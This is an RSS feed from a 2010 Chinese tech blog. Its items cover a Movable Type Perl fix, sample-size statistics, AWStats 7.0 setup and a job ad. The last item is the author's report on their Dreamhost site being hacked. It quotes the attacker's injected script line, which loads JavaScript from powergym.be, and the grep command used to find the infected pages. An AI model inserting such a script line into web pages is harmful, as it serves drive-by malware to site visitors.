<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
   <channel>
      <title>车东[Blog^2]</title>
      <link>http://www.chedong.com/blog/</link>
      <description>良好引用，良好结构，良好导航 Well referenced and well organized, with easy navigation</description>
      <language>zh-cn</language>
      <copyright>Copyright 2010</copyright>
      <lastBuildDate>Sun, 01 Aug 2010 17:44:16 +0800</lastBuildDate>
      <generator>http://www.sixapart.com/movabletype/</generator>
      <docs>http://blogs.law.harvard.edu/tech/rss</docs> 

            <item>
         <title>MT上“Name &quot;Locale::Maketext::Lexicon&quot; used only once:” 问题的解决： 改用Perl内置函数库</title>
         <description><![CDATA[<p>最近从服务器日志中经常发现<a href="http://www.chedong.com/blog/archives/000001.html">MT</a>的错误日志：<br />
Name "Locale::Maketext::Lexicon" used only once: possible typo at<br />
 .../extlib/Locale/Maketext.pm line 653.,....</p>

<p>解决方法：<br />
删除 mt/extlib/目录下的I18N/ 和 Locale/ 目录即可；</p>

<p>原因： <br />
服务器上已经升级到Perl 5.10.x了： 很多国际化字符集方面的支持直接使用Perl内置的支持包即可。<br />
[chedong@titans ~/logs/chedong.com/http]$ perl -v<br />
<blockquote>This is perl, v5.10.0 built for x86_64-linux-gnu-thread-multi</p>

<p>Copyright 1987-2007, Larry Wall</p>

<p>Perl may be copied only under the terms of either the Artistic License or the<br />
GNU General Public License, which may be found in the Perl 5 source kit.</p>

<p>Complete documentation for Perl, including FAQ lists, should be found on<br />
this system using "man perl" or "perldoc perl".  If you have access to the<br />
Internet, point your browser at http://www.perl.org/, the Perl Home Page.</blockquote></p>]]></description>
         <link>http://www.chedong.com/blog/archives/001483.html</link>
         <guid>http://www.chedong.com/blog/archives/001483.html</guid>
                  <category domain="http://www.sixapart.com/ns/types#category">MovableType|MT</category>
        
        
         <pubDate>Sun, 01 Aug 2010 17:44:16 +0800</pubDate>
      </item>
            <item>
         <title> 如何确定抽样统计的最小样本量（附：随机抽样统计的抽样误差Excel计算表格）</title>
         <description><![CDATA[<p>在电视节目中经常看到关于选举的报道中经常会后有支持率的数字，例如：调查结果为</p><ul><li>a方支持率为45.3%；</li><li>b方支持率为30.2%； </li><li>c方支持率为8.5%；</li><li>...<br /></li></ul><p>最后都会说明一下，此次电话调查的数量2352，置信度为95%﹐最大容许误差为&plusmn;2.5%，这就是抽样调查的典型情景：一个大的集合（比如：数千万选民）做一次调查的成本较高，抽样调查可以低成本的用近似的（可接受的）数据反映实际情况；在用户调研中，也经常通过通过抽样调查的方式并对比打分的方法做评估。  </p><p>抽样误差： 假如相同规模的抽样调查进行多次， 抽样均值在真实均值的上下波动，相对于整体均值的偏移波动就是抽样误差，而这个误差的分布是符合<a target="_blank" href="http://zh.wikipedia.org/zh-cn/%E6%A0%87%E5%87%86%E6%AD%A3%E6%80%81%E5%88%86%E5%B8%83">标准正态分布</a>的，例如下图： 横轴为整体的均值，圆点是每次抽样的均值，而红色那次抽样就是加上误差后都未覆盖到均值线的情况）；&nbsp;  </p><p><a title="原图作者： 崔玮" href="http://t.sina.com.cn/1250608490"><img border="0" src="http://www.chedong.com/blog/archives/2010/07/17/normal_distribution.png" /></a>&nbsp;</p><p>最小抽样量的计算公式： 抽样量需要 &gt; 30个才算足够多，可以用以下近似的误差/样本量估算公式； <br /> <a target="_blank" href="http://www.codecogs.com/eqnedit.php?latex=%5Cfn_jvn%20%5C120dpi%20n=%5Cfrac%7B%28%7Bz_%7B%5Calpha%20/2%7D%7D%29%5E%7B2%7D%7B%5Csigma%7D%5E2%7D%7BE%5E2%7D"><img border="0" src="http://latex.codecogs.com/png.latex?\fn_jvn%20\120dpi%20n\approx\frac{({z_{\alpha%20/2}})^{2}{\sigma}^2}{E^2}" /></a> <br />n： 为样本量；<br /> <a target="_blank" href="http://www.codecogs.com/eqnedit.php?latex=%5Cfn_jvn%20%5C120dpi%20%7B%5Csigma%7D%5E2"><img height="16" width="18" border="0" alt="\fn_jvn \120dpi {\sigma}^2" title="\fn_jvn \120dpi {\sigma}^2" src="http://latex.codecogs.com/png.latex?\fn_jvn%20\120dpi%20{\sigma}^2" /></a>：<a target="_blank" href="http://zh.wikipedia.org/zh-cn/%E6%96%B9%E5%B7%AE">方差</a>，抽样个体值和整体均值之间的偏离程度，抽样数值分布越分散方差越大，需要的采样量越多；<br />E： 为抽样误差（可以根据均值的百分比设定），由于是倒数平方关系，抽样误差减小为1/2，抽样量需要增加为4倍； <br /><a target="_blank" href="http://www.codecogs.com/eqnedit.php?latex=%5Cfn_jvn%20%5C120dpi%20%5E%7Bz_%7B%5Calpha/2%7D%7D"><img border="0" alt="\fn_jvn \120dpi ^{z_{\alpha/2}}" title="\fn_jvn \120dpi ^{z_{\alpha/2}}" src="http://latex.codecogs.com/png.latex?\fn_jvn%20\120dpi%20^{z_{\alpha/2}}" /></a>: 为可靠性系数，即置信度，置信度为95%时，<a target="_blank" href="http://www.codecogs.com/eqnedit.php?latex=%5Cfn_jvn%20%5C120dpi%20%5E%7Bz_%7B%5Calpha/2%7D%7D"><img border="0" alt="\fn_jvn \120dpi ^{z_{\alpha/2}}" title="\fn_jvn \120dpi ^{z_{\alpha/2}}" src="http://latex.codecogs.com/png.latex?\fn_jvn%20\120dpi%20^{z_{\alpha/2}}" /></a>=1.96，置信度为90%时，<a target="_blank" href="http://www.codecogs.com/eqnedit.php?latex=%5Cfn_jvn%20%5C120dpi%20%5E%7Bz_%7B%5Calpha/2%7D%7D"><img border="0" alt="\fn_jvn \120dpi ^{z_{\alpha/2}}" title="\fn_jvn \120dpi ^{z_{\alpha/2}}" src="http://latex.codecogs.com/png.latex?\fn_jvn%20\120dpi%20^{z_{\alpha/2}}" /></a>=1.645，置信度越高需要的样本量越多；95%置信度比90%置信度需要的采样量多40%；<br /><br />为了体现相对差距： 假设抽样<a target="_blank" href="http://zh.wikipedia.org/zh-cn/%E7%AE%97%E6%9C%AF%E5%B9%B3%E5%9D%87%E6%95%B0">均值</a>为 y </p><p>相对抽样误差 h = E / y </p><p><a href="http://zh.wikipedia.org/zh-cn/%E5%8F%98%E5%BC%82%E7%B3%BB%E6%95%B0">变异系数</a> C= &sigma; / y<br /></p><p><a target="_blank" href="http://www.codecogs.com/eqnedit.php?latex=%5Cfn_jvn%20%5C120dpi%20n=%5Cfrac%7B%28%7Bz_%7B%5Calpha%20/2%7D%7D%29%5E%7B2%7D%7B%5Csigma%7D%5E2%7D%7BE%5E2%7D"><img border="0" src="http://latex.codecogs.com/png.latex?\fn_jvn%20\120dpi%20n\approx\frac{({z_{\alpha%20/2}})^{2}C^2}{h^2}" /></a> <br /></p><p>以下是基于抽样得分的抽样误差估算表格： 方差越大需要的样本量越多，数据离散度越低，需要的抽样量越少；<br /></p><p><table width="384pt" border="0" style="border-collapse: collapse; height: 76px">       <tbody><tr style="height: 19px"> <td align="center" style="color: #000000; font-size: 9pt; font-weight: 700; font-style: normal; text-decoration: none; text-align: center; vertical-align: middle; height: 38px; width: 80px" rowspan="2" class="et6">置信度</td><td align="center" style="color: #000000; font-size: 9pt; font-weight: 700; font-style: normal; text-decoration: none; text-align: center; vertical-align: middle; height: 19px; width: 464px" colspan="5" class="et6">相对抽样误差(假设：C=0.4)</td> </tr> <tr style="height: 19px"> <td align="center" style="color: #000000; font-size: 10.5pt; font-weight: 700; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 112px" class="et9">1%</td><td align="center" style="color: #000000; font-size: 10.5pt; font-weight: 700; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px" class="et9">2%</td><td align="center" style="color: #000000; font-size: 10.5pt; font-weight: 700; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px" class="et9">3%</td><td align="center" style="color: #000000; font-size: 10.5pt; font-weight: 700; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px" class="et8">4%</td><td align="center" style="color: #000000; font-size: 10.5pt; font-weight: 700; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px" class="et8">5%</td> </tr> <tr style="height: 19px"> <td align="center" style="color: #000000; font-size: 10.5pt; font-weight: 700; font-style: normal; text-decoration: none; text-align: center; vertical-align: top; white-space: normal; border-left: 0.5pt solid #000000; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px" class="et5">95%</td><td align="center" style="color: #000000; font-size: 10.5pt; font-weight: 400; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 112px" class="et4">6147&nbsp;</td><td align="center" style="color: #000000; font-size: 10.5pt; font-weight: 400; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px" class="et4">1537&nbsp;</td><td align="center" style="color: #000000; font-size: 10.5pt; font-weight: 400; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px" class="et4">683&nbsp;</td><td align="center" style="color: #000000; font-size: 10.5pt; font-weight: 400; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px" class="et4">384&nbsp;</td><td align="center" style="color: #000000; font-size: 10.5pt; font-weight: 400; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px" class="et4">246&nbsp;</td> </tr> <tr style="height: 19px"> <td align="center" style="color: #000000; font-size: 10.5pt; font-weight: 700; font-style: normal; text-decoration: none; text-align: center; vertical-align: top; white-space: normal; border-left: 0.5pt solid #000000; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px" class="et5">90%</td><td align="center" style="color: #000000; font-size: 10.5pt; font-weight: 400; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 112px" class="et4">4330&nbsp;</td><td align="center" style="color: #000000; font-size: 10.5pt; font-weight: 400; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px" class="et4">1082&nbsp;</td><td align="center" style="color: #000000; font-size: 10.5pt; font-weight: 400; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px" class="et4">481&nbsp;</td><td align="center" style="color: #000000; font-size: 10.5pt; font-weight: 400; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px" class="et4">271&nbsp;</td><td align="center" style="color: #000000; font-size: 10.5pt; font-weight: 400; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px" class="et4">173&nbsp;</td> </tr>  </tbody></table> </p><p>如果是基于胜出率，支持率等： 分值为0/1状态分布，公式拟合为<span style="font-size: 10.5pt; font-family: '宋体'" /></p><p style="margin-bottom: 0pt; margin-top: 0pt" class="p0"><img border="0" src="http://latex.codecogs.com/png.latex?%5Cfn_jvn%20n%5Capprox%5Cfrac%7B%28%7Bz_%7B%5Calpha%20/2%7D%7D%29%5E%7B2%7D%5Cpi%281-%5Cpi%29%7D%7BE%5E2%7D" />&nbsp; </p><p style="margin-bottom: 0pt; margin-top: 0pt" class="p0">&pi;为按照经验得出的最后比例，在未知时&pi;可取50%，待算出结果后再重新拟合，比例越悬殊需要的样本量越少；&nbsp; <br /></p><p style="margin-bottom: 0pt; margin-top: 0pt" class="p0">&nbsp; <!--td {color:#000000; font-size:12.0pt; font-family:宋体; font-weight:400; font-style:normal; text-decoration:none; text-align:general; vertical-align:middle; mso-number-format:General; mso-protection:locked visible; }.et9 {color:#000000; font-size:10.5pt; font-family:宋体; font-weight:700; font-style:normal; text-decoration:none; text-align:center; vertical-align:top; white-space:normal; border-left:.5pt solid #000000; border-right: .5pt solid #000000; border-bottom:.5pt solid #000000; mso-number-format:'0%'; mso-protection:locked visible; }.et10 {color:#000000; font-size:10.5pt; font-family:宋体; font-weight:700; font-style:normal; text-decoration:none; text-align:center; vertical-align:top; border-right: .5pt solid #000000; border-top:.5pt solid #000000; border-bottom:.5pt solid #000000; mso-number-format:General; mso-protection:locked visible; }.et11 {color:#000000; font-size:10.5pt; font-family:宋体; font-weight:400; font-style:normal; text-decoration:none; text-align:justify; vertical-align:top; white-space:normal; border-right: .5pt solid #000000; border-bottom:.5pt solid #000000; mso-number-format:General; mso-protection:locked visible; }.et12 {color:#000000; font-size:10.5pt; font-family:宋体; font-weight:700; font-style:normal; text-decoration:none; text-align:general; vertical-align:top; white-space:normal; border-right: .5pt solid #000000; border-bottom:.5pt solid #000000; mso-number-format:'0%'; mso-protection:locked visible; }.et13 {color:#000000; font-size:10.5pt; font-family:宋体; font-weight:700; font-style:normal; text-decoration:none; text-align:general; vertical-align:top; white-space:normal; border-right: .5pt solid #000000; border-top:.5pt solid #000000; border-bottom:.5pt solid #000000; mso-number-format:'0%'; mso-protection:locked visible; }.et14 {color:#000000; font-size:10.5pt; font-family:宋体; font-weight:700; font-style:normal; text-decoration:none; text-align:center; vertical-align:top; border-right: .5pt solid #000000; border-top:.5pt solid #000000; border-bottom:.5pt solid #000000; mso-number-format:General; mso-protection:locked visible; }.et15 {color:#000000; font-size:9.0pt; font-family:宋体; font-weight:700; font-style:normal; text-decoration:none; text-align:center; vertical-align:middle; border-left:.5pt solid #000000; border-right: .5pt solid #000000; border-top:.5pt solid #000000; mso-number-format:General; mso-protection:locked visible; }.et16 {color:#000000; font-size:9.0pt; font-family:宋体; font-weight:700; font-style:normal; text-decoration:none; text-align:center; vertical-align:middle; border-left:.5pt solid #000000; border-right: .5pt solid #000000; border-bottom:.5pt solid #000000; mso-number-format:General; mso-protection:locked visible; }-->  </p><table width="360pt" border="0" style="border-collapse: collapse; height: 76px">       <tbody><tr style="height: 19px">  <td class="et15" rowspan="2" style="color: #000000; font-size: 9pt; font-weight: 700; font-style: normal; text-decoration: none; text-align: center; vertical-align: middle; border: 0.5pt solid #000000; height: 38px; width: 80px">置信度</td><td class="et10" colspan="5" style="color: #000000; font-size: 10.5pt; font-weight: 700; font-style: normal; text-decoration: none; text-align: center; vertical-align: top; border-right: 0.5pt solid #000000; border-top: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 400px">相对抽样误差</td>  </tr> <tr style="height: 19px"> <td align="center" class="et12" style="color: #000000; font-size: 10.5pt; font-weight: 700; font-style: normal; text-decoration: none; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px">1%</td><td align="center" class="et13" style="color: #000000; font-size: 10.5pt; font-weight: 700; font-style: normal; text-decoration: none; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-top: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px">2%</td><td align="center" class="et13" style="color: #000000; font-size: 10.5pt; font-weight: 700; font-style: normal; text-decoration: none; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-top: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px">3%</td><td align="center" class="et13" style="color: #000000; font-size: 10.5pt; font-weight: 700; font-style: normal; text-decoration: none; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-top: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px">4%</td><td align="center" class="et13" style="color: #000000; font-size: 10.5pt; font-weight: 700; font-style: normal; text-decoration: none; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-top: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px">5%</td> </tr> <tr style="height: 19px"> <td class="et9" style="color: #000000; font-size: 10.5pt; font-weight: 700; font-style: normal; text-decoration: none; text-align: center; vertical-align: top; white-space: normal; border-left: 0.5pt solid #000000; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px">95%</td><td align="right" class="et11" style="color: #000000; font-size: 10.5pt; font-weight: 400; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px">9604</td><td align="right" class="et11" style="color: #000000; font-size: 10.5pt; font-weight: 400; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px">2401</td><td align="right" class="et11" style="color: #000000; font-size: 10.5pt; font-weight: 400; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px">1067</td><td align="right" class="et11" style="color: #000000; font-size: 10.5pt; font-weight: 400; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px">600</td><td align="right" class="et11" style="color: #000000; font-size: 10.5pt; font-weight: 400; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px">384</td> </tr> <tr style="height: 19px"> <td class="et9" style="color: #000000; font-size: 10.5pt; font-weight: 700; font-style: normal; text-decoration: none; text-align: center; vertical-align: top; white-space: normal; border-left: 0.5pt solid #000000; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px">90%</td><td align="right" class="et11" style="color: #000000; font-size: 10.5pt; font-weight: 400; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px">6765</td><td align="right" class="et11" style="color: #000000; font-size: 10.5pt; font-weight: 400; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px">1691</td><td align="right" class="et11" style="color: #000000; font-size: 10.5pt; font-weight: 400; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px">752</td><td align="right" class="et11" style="color: #000000; font-size: 10.5pt; font-weight: 400; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px">423</td><td align="right" class="et11" style="color: #000000; font-size: 10.5pt; font-weight: 400; font-style: normal; text-decoration: none; text-align: justify; vertical-align: top; white-space: normal; border-right: 0.5pt solid #000000; border-bottom: 0.5pt solid #000000; height: 19px; width: 80px">270</td> </tr>  </tbody></table> <p>从而看出大部分的电话抽样调查：95%置信度的情况下，误差要控制在2%以内取样量一般在2000-5000；为了方便计算抽样调查的误差和估算抽样量，制作了一个Excel表格附后，调整颜色框中的抽样量数字就可以得到相应的误差或根据指定的误差范围估算出抽样量；<br /></p>]]></description>
         <link>http://www.chedong.com/blog/archives/001462.html</link>
         <guid>http://www.chedong.com/blog/archives/001462.html</guid>
                  <category domain="http://www.sixapart.com/ns/types#category">日志分析|Analytics</category>
        
        
         <pubDate>Sat, 17 Jul 2010 23:04:14 +0800</pubDate>
      </item>
            <item>
         <title>AWStats 7.0 发布， Linux下的安装配置使用备忘</title>
         <description><![CDATA[<p>5月25日，<a href="http://www.amazon.com/exec/obidos/wishlist/3F19UHYYQRBPA">Eldy</a>发布了AWStats的7.0版本，从界面上看主要的变化是很多统计图使用了<a href="http://code.google.com/intl/zh-CN/apis/charttools/">Google图表API</a>生成；<br />
<img alt="awstats_70_googlechartapi.png" src="http://www.chedong.com/blog/archives/2010/06/05/awstats_70_googlechartapi.png" width="681" height="552" /></p>

<p>在Linux的安装请参考<a href="http://www.chedong.com/tech/awstats.html">AWStats安装笔记</a>， 此次更新后的相关配置修改都放到<a href="http://www.chedong.com/tech/lib.tgz">补充库</a>里了；<br />
包含chedong.com的awstats配置样例：awstats.chedong.conf <br />
通用配置文件样例： coommon.conf<br />
搜索引擎和蜘蛛定义更新： robots.pm search_engines.pm （需要放到lib目录下）</p>

<p>缺省建议启用的配置：common.conf<br />
LoadPlugin="tooltips"<br />
LoadPlugin="decodeutfkeys"<br />
<strong>LoadPlugin="graphgooglechartapi"</strong><br />
LoadPlugin="<a href="http://www.chedong.com/blog/archives/001182.html">geoip</a> GEOIP_STANDARD /home/chedong/chedong.com/cgi-bin/awstats/GeoIP.dat"<br />
LoadPlugin="geoip_city_maxmind GEOIP_STANDARD /home/chedong/chedong.com/cgi-bin/awstats/GeoLiteCity.dat"<br />
LoadPlugin="<a href="http://www.chedong.com/blog/archives/001356.html">qqhostinfo</a>"</p>

<p>搜索引擎定义主要去掉了一些门户网站的域名（例如： 163.com live.com），避免了搜索服务和门户其他服务(例如： 博客)容易和搜索来源混淆的情况。<br />
蜘蛛定义主要增加了feed抓取机器人： <br />
'sosospider','<a href="http://help.soso.com/webspider.htm"  target="_blank">SosoSpider</a>',<br />
'youdaobot','<a href="http://www.youdao.com/help/webmaster/spider/"  target="_blank">YoudaoBot</a>',<br />
'doubanbot','<a href="http://www.douban.com"  target="_blank">DoubanBot</a>',<br />
'friendfeedbot','<a href="FriendFeedBot"  target="_blank">FriendFeedBot</a>',</p>

<p>AWStats 7.0的详细ChangeLog更新附后：</p>]]></description>
         <link>http://www.chedong.com/blog/archives/001480.html</link>
         <guid>http://www.chedong.com/blog/archives/001480.html</guid>
                  <category domain="http://www.sixapart.com/ns/types#category">日志分析|AWStats</category>
        
        
         <pubDate>Sat, 05 Jun 2010 15:38:35 +0800</pubDate>
      </item>
            <item>
         <title>[招聘] 中文的LinkedIn项目招聘服务器端Linux开发和Windows客户端开发</title>
         <description>创业者实在太低调了，不想透露太多。 感兴趣的同学请看后面的详细说明：</description>
         <link>http://www.chedong.com/blog/archives/001482.html</link>
         <guid>http://www.chedong.com/blog/archives/001482.html</guid>
                  <category domain="http://www.sixapart.com/ns/types#category">工作招聘 |recruit</category>
        
        
         <pubDate>Mon, 24 May 2010 23:47:27 +0800</pubDate>
      </item>
            <item>
         <title>在Dreamhost遭遇挂马： powergym.be</title>
         <description><![CDATA[<p>4月1日中午，有朋友发来邮件： 访问 chedong.com 的页面时；<br />
该网站可能含有恶意软件，有可能会危害您的电脑。 <br />
http://www.google.com.hk/interstitial?url=http://www.chedong.com/</p>

<p>到Google的诊断页看了一下： <br />
<blockquote>我们过去 90 天内对此网站上的 2 张网页进行了测试，发现有 1<br />
张网页在未经用户同意的情况下就会将恶意软件下载并安装到用户的机器中。Google 上次访问此网站的日期是<br />
2010-03-31，上次在此网站中发现可疑内容的日期是 2010-03-30。<br />
Malicious software includes 2 exploit(s). Successful infection<br />
resulted in an average of 1 new process(es) on the target machine.<br />
恶意软件托管在 3 个域上，其中包括 surrogaty.uz.ua/, abseconbluedevils.org/, powergym.be/。<br />
2 个域以传播媒介的身份向此网站的访问者散发了恶意软件，其中包括 abseconbluedevils.org/, help2strike.org.ua/。<br />
This site was hosted on 1 network(s) including AS26347 (DREAMHOST).</blockquote></p>

<p>登录到服务器上： <br />
grep -R powergym * <br />
发现数十个目录缺省页 index.html index.php default.html 全部在3月30日被附加了这样一行script：<br />
script language='JavaScript' src='<a href="http://wam.dasient.com/wam/infection_library/ddf6ff71611d00b81f74e6d93a0d198b/powergym">http://powergym.be/xxxxss36dj.js</a>'</p>

<p>回家后断断续续折腾了2天，终于将大部分目录回滚到了3月30日之前；近期还在和DreamHost联系，查看系统登录日志，查看各个目录下的应用安装情况；</p>]]></description>
         <link>http://www.chedong.com/blog/archives/001424.html</link>
         <guid>http://www.chedong.com/blog/archives/001424.html</guid>
                  <category domain="http://www.sixapart.com/ns/types#category">虚拟主机|Web Hosting</category>
        
        
         <pubDate>Mon, 05 Apr 2010 14:11:45 +0800</pubDate>
      </item>
      
   </channel>
</rss>
